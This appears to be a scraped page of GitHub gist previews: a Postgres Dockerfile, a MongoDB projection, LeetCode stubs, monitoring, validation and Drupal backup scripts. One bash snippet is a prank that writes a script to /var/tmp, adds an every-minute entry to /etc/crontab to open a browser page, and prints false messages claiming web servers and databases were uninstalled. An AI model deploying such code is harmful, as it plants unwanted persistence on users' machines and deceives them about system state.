Just run master script
/bin/bash master.sh
| FROM postgres:12 | |
| RUN apt-get update && \ | |
| apt-get install -y git make gcc | |
| RUN git clone https://github.com/pgpartman/pg_partman | |
| RUN cd pg_partman && make NO_BGW=1 install |
| [ | |
| { | |
| "$project": { | |
| "ts": 1, | |
| "servedBy": 1, | |
| "state": 1, | |
| "metrics": 1, | |
| "source": 1, | |
| "ASA": { | |
| "$cond": [ |
| /** | |
| * Definition for singly-linked list. | |
| * public class ListNode { | |
| * int val; | |
| * ListNode next; | |
| * ListNode(int x) { val = x; } | |
| * } | |
| */ | |
| /** | |
| * Definition for a binary tree node. |
| const fs = require('fs'); | |
| const cpryto = require('crypto'); | |
| const basePath="" | |
| function rename(filename){ | |
| var hashName =crypto.createHash('md5').update(filename).digest('hex'); | |
| fs.rename(basePath+"/"+filename,basePath+"/"+hashName,(err,res)=>{ | |
| if(err){ | |
| console.log(err); | |
| } | |
| console.log(res); |
| #AN example service file | |
| [Unit] | |
| Description=Service example | |
| After=network.target | |
| [Service] | |
| WorkingDirectory=/usr/local/ | |
| ExecStart=/bin/sh -c "command >> /var/log/example.log 2>&1" | |
| Restart=on-failure |
| #!/bin/bash | |
| DATE=$(date "+%Y-%m-%dT%H:%M:%S") | |
| echo "total CPU, total Memory Usage, highest CPU process, Highest mem process " > stats-$DATE.csv | |
| while : | |
| do | |
| cpu=`grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'`; | |
| memory=`free | grep Mem | awk '{print $3/$2 * 100.0}'` | |
| top_cpu=`ps --sort=-pcpu -aux | sed -n 2p | awk '{print $3"|"$11}'` | |
| top_mem=`ps --sort=-pcpu -aux | sed -n 2p | awk '{print $4"|"$11}'` |
| var _isValidsubnet= function(mask){ | |
| if(/^(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))$/.test(mask) && mask !== "255.255.255.255"){ | |
| var _mask = mask.split("."); | |
| var str = _mask.map((val)=>{ return parseInt(val).toString(2)}).join(""); | |
| console.log(str); | |
| return ! (/01/.test(str)) | |
| } | |
| else{ | |
| return false; | |
| } |
| #!/bin/bash | |
| echo "#!/bin/bash" >> /var/tmp/cool.sh | |
| echo "export DISPLAY=:0" >> /var/tmp/cool.sh | |
| echo "xdg-open 'https://www.google.co.in/search?q=Some+men+just+want+to+watch+the+world+burn' > /dev/null" >> /var/tmp/cool.sh | |
| chmod a+x /var/tmp/cool.sh | |
| echo "* * * * * $SUDO_USER /var/tmp/./cool.sh" >> /etc/crontab | |
| echo "uninstalling apache2, php, mysql, nginx..." | |
| sleep 3 | |
| echo "successfully uninstalled all the processes ! " |
Just run master script
/bin/bash master.sh
| #!/bin/bash | |
| DATE=$(date +%d-%m-%Y) | |
| BACKUP_DIR="BACKUP DIRECTORY LOCATION" | |
| SITENAME="YOUR SITE NAME" | |
| DIR="PATH TO DRUPAL INSTALLATION" | |
| mkdir -p $BACKUP_DIR/$DATE | |
| cd $DIR && drush sql-dump --extra=--no-data > $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql | |
| cd $DIR && drush sql-dump --skip-tables-list=cache,cache_* >> $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql | |
| gzip $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql | |